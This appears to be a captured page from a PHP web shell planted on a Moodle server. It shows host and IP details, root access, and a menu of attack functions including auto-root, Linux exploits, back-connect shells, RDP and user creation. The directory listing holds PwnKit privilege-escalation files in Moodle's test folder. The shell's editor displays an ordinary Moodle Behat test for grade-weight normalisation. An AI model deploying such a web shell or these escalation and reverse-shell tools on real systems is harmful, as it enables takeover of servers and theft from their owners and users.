Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.31
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
moodle /
grade /
tests /
behat /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
.mad-root
0
B
-rw-r--r--
behat_grade.php
15.78
KB
-rwxrwxrwx
behat_grades.php
3.87
KB
-rwxrwxrwx
grade_UI_settings.feature
2.35
KB
-rwxrwxrwx
grade_aggregation.feature
30.71
KB
-rwxrwxrwx
grade_aggregation_changes.feat...
19.65
KB
-rwxrwxrwx
grade_average.feature
2.28
KB
-rwxrwxrwx
grade_calculated_grade_items.f...
10.71
KB
-rwxrwxrwx
grade_calculated_grade_items_2...
10.8
KB
-rwxrwxrwx
grade_calculated_weights.featu...
13.81
KB
-rwxrwxrwx
grade_category_validation.feat...
6.47
KB
-rwxrwxrwx
grade_contribution_with_extra_...
3.98
KB
-rwxrwxrwx
grade_grade_minmax_change.feat...
3.81
KB
-rwxrwxrwx
grade_hidden_items.feature
4.75
KB
-rwxrwxrwx
grade_hidden_items_locked_cate...
4.34
KB
-rwxrwxrwx
grade_item_duplication.feature
2.21
KB
-rwxrwxrwx
grade_item_validation.feature
5.02
KB
-rwxrwxrwx
grade_letter_boundary.feature
1.85
KB
-rwxrwxrwx
grade_letter_boundary_20160518...
1.96
KB
-rwxrwxrwx
grade_letter_logging.feature
1.46
KB
-rwxrwxrwx
grade_mingrade.feature
6.23
KB
-rwxrwxrwx
grade_minmax.feature
11.22
KB
-rwxrwxrwx
grade_natural_exclude_empty.fe...
20.13
KB
-rwxrwxrwx
grade_natural_exclude_empty_20...
21.03
KB
-rwxrwxrwx
grade_natural_normalisation.fe...
14.54
KB
-rwxrwxrwx
grade_natural_normalisation_20...
7.12
KB
-rwxrwxrwx
grade_override_letter.feature
9.56
KB
-rwxrwxrwx
grade_point_maximum.feature
4.7
KB
-rwxrwxrwx
grade_regrade_do_not_override....
3.74
KB
-rwxrwxrwx
grade_scales.feature
10.83
KB
-rwxrwxrwx
grade_scales_aggregation.featu...
6.99
KB
-rwxrwxrwx
grade_scales_logging.feature
959
B
-rwxrwxrwx
grade_single_item_scales.featu...
8.24
KB
-rwxrwxrwx
grade_to_pass.feature
13.24
KB
-rwxrwxrwx
grade_view.feature
5.15
KB
-rwxrwxrwx
pwnkit
10.99
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : grade_natural_normalisation.feature
@core @core_grades Feature: We can use natural aggregation and weights will be normalised to a total of one hundred In order to override weights As a teacher I need to add assessments to the gradebook. Background: Given the following "courses" exist: | fullname | shortname | category | groupmode | | Course 1 | C1 | 0 | 1 | And the following "users" exist: | username | firstname | lastname | email | idnumber | | teacher1 | Teacher | 1 | teacher1@example.com | t1 | | student1 | Student | 1 | student1@example.com | s1 | And the following "course enrolments" exist: | user | course | role | | teacher1 | C1 | editingteacher | | student1 | C1 | student | And the following "grade categories" exist: | fullname | course | | <span lang="en" class="multilang">EN</span><span lang="fr" class="multilang">FR</span> Sub category 1 | C1 | And the following "activities" exist: | activity | course | idnumber | name | intro | grade | | assign | C1 | a1 | Test assignment one | Submit something! | 300 | | assign | C1 | a2 | Test assignment two | Submit something! | 100 | | assign | C1 | a3 | Test assignment three | Submit something! | 150 | | assign | C1 | a4 | Test assignment four | Submit nothing! | 150 | And the following "activities" exist: | activity | course | idnumber | name | intro | gradecategory | grade | | assign | C1 | a5 | Test assignment five | Submit something! | <span lang="en" class="multilang">EN</span><span lang="fr" class="multilang">FR</span> Sub category 1 | 20 | | assign | C1 | a6 | Test assignment six | Submit something! | <span lang="en" class="multilang">EN</span><span lang="fr" class="multilang">FR</span> Sub category 1 | 10 | | assign | C1 | a7 | Test assignment seven | Submit nothing! | <span lang="en" class="multilang">EN</span><span lang="fr" class="multilang">FR</span> Sub category 1 | 15 | And the "multilang" filter is "on" And the "multilang" filter applies to "content and headings" And I log in as "teacher1" And I am on "Course 1" course homepage And I navigate to "Setup > Gradebook setup" in the course gradebook @javascript Scenario: Setting all weights in a category to exactly one hundred in total. And the field "Weight of Test assignment five" matches value "44.444" And the field "Weight of Test assignment six" matches value "22.222" And the field "Weight of Test assignment seven" matches value "33.333" When I set the field "Override weight of Test assignment five" to "1" And I set the field "Override weight of Test assignment six" to "1" And I set the field "Override weight of Test assignment seven" to "1" And I set the field "Weight of Test assignment five" to "30" And I set the field "Weight of Test assignment six" to "50" And I set the field "Weight of Test assignment seven" to "20" And I press "Save changes" Then I should not see "Your weights have been adjusted to total 100." And the field "Weight of Test assignment five" matches value "30.0" And the field "Weight of Test assignment six" matches value "50.0" And the field "Weight of Test assignment seven" matches value "20.0" @javascript Scenario: Setting all weights in a category to less than one hundred is normalised. When I set the field "Override weight of Test assignment five" to "1" And I set the field "Override weight of Test assignment six" to "1" And I set the field "Override weight of Test assignment seven" to "1" And I set the field "Weight of Test assignment five" to "1" And I set the field "Weight of Test assignment six" to "1" And I set the field "Weight of Test assignment seven" to "2" And I press "Save changes" Then I should see "Your weights have been adjusted to total 100." And the field "Weight of Test assignment five" matches value "25.0" And the field "Weight of Test assignment six" matches value "25.0" And the field "Weight of Test assignment seven" matches value "50.0" @javascript Scenario: Set one of the grade item weights to a figure over one hundred. When I set the field "Override weight of Test assignment five" to "1" And I set the field "Weight of Test assignment five" to "120" And I press "Save changes" Then I should see "Your weights have been adjusted to total 100." And the field "Weight of Test assignment five" matches value "100.0" And the field "Weight of Test assignment six" matches value "0.0" And the field "Weight of Test assignment seven" matches value "0.0" @javascript Scenario: Setting several but not all grade item weights to over one hundred each. When I set the field "Override weight of Test assignment five" to "1" And I set the field "Override weight of Test assignment six" to "1" And I set the field "Weight of Test assignment five" to "150" And I set the field "Weight of Test assignment six" to "150" And I press "Save changes" Then I should see "Your weights have been adjusted to total 100." And the field "Weight of Test assignment five" matches value "50.000" And the field "Weight of Test assignment six" matches value "50.000" And the field "Weight of Test assignment seven" matches value "0.0" @javascript Scenario: Grade items weights are not normalised when all grade item weights are overridden (sum exactly 100). Extra credit is set respectful to number of items. When I set the following settings for grade item "Test assignment seven": | Extra credit | 1 | And the field "Weight of Test assignment five" matches value "66.667" And the field "Weight of Test assignment six" matches value "33.333" And the field "Weight of Test assignment seven" matches value "50.0" And I set the field "Override weight of Test assignment five" to "1" And I set the field "Override weight of Test assignment six" to "1" And I set the field "Weight of Test assignment five" to "60" And I set the field "Weight of Test assignment six" to "40" And I press "Save changes" Then I should not see "Your weights have been adjusted to total 100." And the field "Weight of Test assignment five" matches value "60.000" And the field "Weight of Test assignment six" matches value "40.000" And the field "Weight of Test assignment seven" matches value "50.0" And I reset weights for grade category "EN Sub category 1" And the field "Weight of Test assignment five" matches value "66.667" And the field "Weight of Test assignment six" matches value "33.333" And the field "Weight of Test assignment seven" matches value "50.0" @javascript Scenario: Grade items weights are normalised when all grade item weights are overridden (sum over 100). Extra credit is set respectful to number of items. When I set the following settings for grade item "Test assignment seven": | Extra credit | 1 | And I set the field "Override weight of Test assignment five" to "1" And I set the field "Override weight of Test assignment six" to "1" And I set the field "Weight of Test assignment five" to "60" And I set the field "Weight of Test assignment six" to "50" And I press "Save changes" Then I should see "Your weights have been adjusted to total 100." And the field "Weight of Test assignment five" matches value "54.545" And the field "Weight of Test assignment six" matches value "45.455" And the field "Weight of Test assignment seven" matches value "50.0" And I reset weights for grade category "EN Sub category 1" And the field "Weight of Test assignment five" matches value "66.667" And the field "Weight of Test assignment six" matches value "33.333" And the field "Weight of Test assignment seven" matches value "50.0" @javascript Scenario: Grade items weights are normalised when all grade item weights are overridden (sum under 100). Extra credit is set respectful to number of items. When I set the following settings for grade item "Test assignment seven": | Extra credit | 1 | And I set the field "Override weight of Test assignment five" to "1" And I set the field "Override weight of Test assignment six" to "1" And I set the field "Weight of Test assignment five" to "40" And I set the field "Weight of Test assignment six" to "30" And I press "Save changes" Then I should see "Your weights have been adjusted to total 100." And the field "Weight of Test assignment five" matches value "57.143" And the field "Weight of Test assignment six" matches value "42.857" And the field "Weight of Test assignment seven" matches value "50.0" And I reset weights for grade category "EN Sub category 1" And the field "Weight of Test assignment five" matches value "66.667" And the field "Weight of Test assignment six" matches value "33.333" And the field "Weight of Test assignment seven" matches value "50.0" @javascript Scenario: Grade items weights are normalised when not all grade item weights are overridden. Extra credit is set respectful to number of items. When I set the following settings for grade item "Test assignment seven": | Extra credit | 1 | And I set the field "Override weight of Test assignment five" to "1" And I set the field "Weight of Test assignment five" to "40" And I press "Save changes" Then I should see "Your weights have been adjusted to total 100." And the field "Weight of Test assignment five" matches value "40.00" And the field "Weight of Test assignment six" matches value "60.000" And the field "Weight of Test assignment seven" matches value "50.0" And I reset weights for grade category "EN Sub category 1" And the field "Weight of Test assignment five" matches value "66.667" And the field "Weight of Test assignment six" matches value "33.333" And the field "Weight of Test assignment seven" matches value "50.0" @javascript Scenario: The extra credit grade item weight is overridden to a figure over one hundred and then the grade item is set to normal. When I set the following settings for grade item "Test assignment seven": | Extra credit | 1 | And I set the field "Override weight of Test assignment seven" to "1" And I set the field "Weight of Test assignment seven" to "105" And I press "Save changes" Then I should not see "Your weights have been adjusted to total 100." And the field "Weight of Test assignment five" matches value "66.667" And the field "Weight of Test assignment six" matches value "33.333" And the field "Weight of Test assignment seven" matches value "105.0" When I set the following settings for grade item "Test assignment seven": | Extra credit | 0 | And I should see "Your weights have been adjusted to total 100." And the field "Weight of Test assignment five" matches value "0.0" And the field "Weight of Test assignment six" matches value "0.0" And the field "Weight of Test assignment seven" matches value "100.0" @javascript Scenario: The extra credit grade item weight is overridden to a figure over one hundred and then the grade category is reset. When I set the following settings for grade item "Test assignment seven": | Extra credit | 1 | And I set the field "Override weight of Test assignment seven" to "1" And I set the field "Weight of Test assignment seven" to "105" And I press "Save changes" And I reset weights for grade category "EN Sub category 1" And the field "Weight of Test assignment five" matches value "66.667" And the field "Weight of Test assignment six" matches value "33.333" And the field "Weight of Test assignment seven" matches value "50.0" @javascript Scenario: Two out of three grade items weights are overridden and one is not. The overridden grade item weights total over one hundred. Given I set the field "Override weight of Test assignment six" to "1" And I set the field "Override weight of Test assignment seven" to "1" And I set the field "Weight of Test assignment six" to "55" And I set the field "Weight of Test assignment seven" to "65" And I press "Save changes" And I should see "Your weights have been adjusted to total 100." Then the field "Weight of Test assignment five" matches value "0.0" And the field "Weight of Test assignment six" matches value "45.833" And the field "Weight of Test assignment seven" matches value "54.167" @javascript Scenario: With one grade item set as extra credit, when I reset the weights for a category they return to the natural weights. When I set the following settings for grade item "Test assignment five": | Extra credit | 1 | And I set the field "Override weight of Test assignment six" to "1" And I set the field "Override weight of Test assignment seven" to "1" And I set the field "Weight of Test assignment six" to "55" And I set the field "Weight of Test assignment seven" to "40" And I press "Save changes" And I reset weights for grade category "EN Sub category 1" Then the field "Weight of Test assignment five" matches value "80.0" And the field "Weight of Test assignment six" matches value "40.0" And the field "Weight of Test assignment seven" matches value "60.0" @javascript Scenario: Overriding a grade item with a negative value results in the value being changed to zero. When I set the field "Override weight of Test assignment five" to "1" And I set the field "Weight of Test assignment five" to "-15" And I press "Save changes" Then the field "Weight of Test assignment five" matches value "0.0" And the field "Weight of Test assignment six" matches value "40.0" And the field "Weight of Test assignment seven" matches value "60.0" And I set the field "Override weight of Test assignment six" to "1" And I set the field "Weight of Test assignment six" to "-25" And I press "Save changes" And the field "Weight of Test assignment six" matches value "0.0" And the field "Weight of Test assignment seven" matches value "100.0" And I reset weights for grade category "EN Sub category 1" And I set the field "Override weight of Test assignment five" to "1" And I set the field "Override weight of Test assignment six" to "1" And I set the field "Weight of Test assignment five" to "-10" And I set the field "Weight of Test assignment six" to "120" And I press "Save changes" And the field "Weight of Test assignment five" matches value "0.0" And the field "Weight of Test assignment six" matches value "100.0" And the field "Weight of Test assignment seven" matches value "0.0"
Close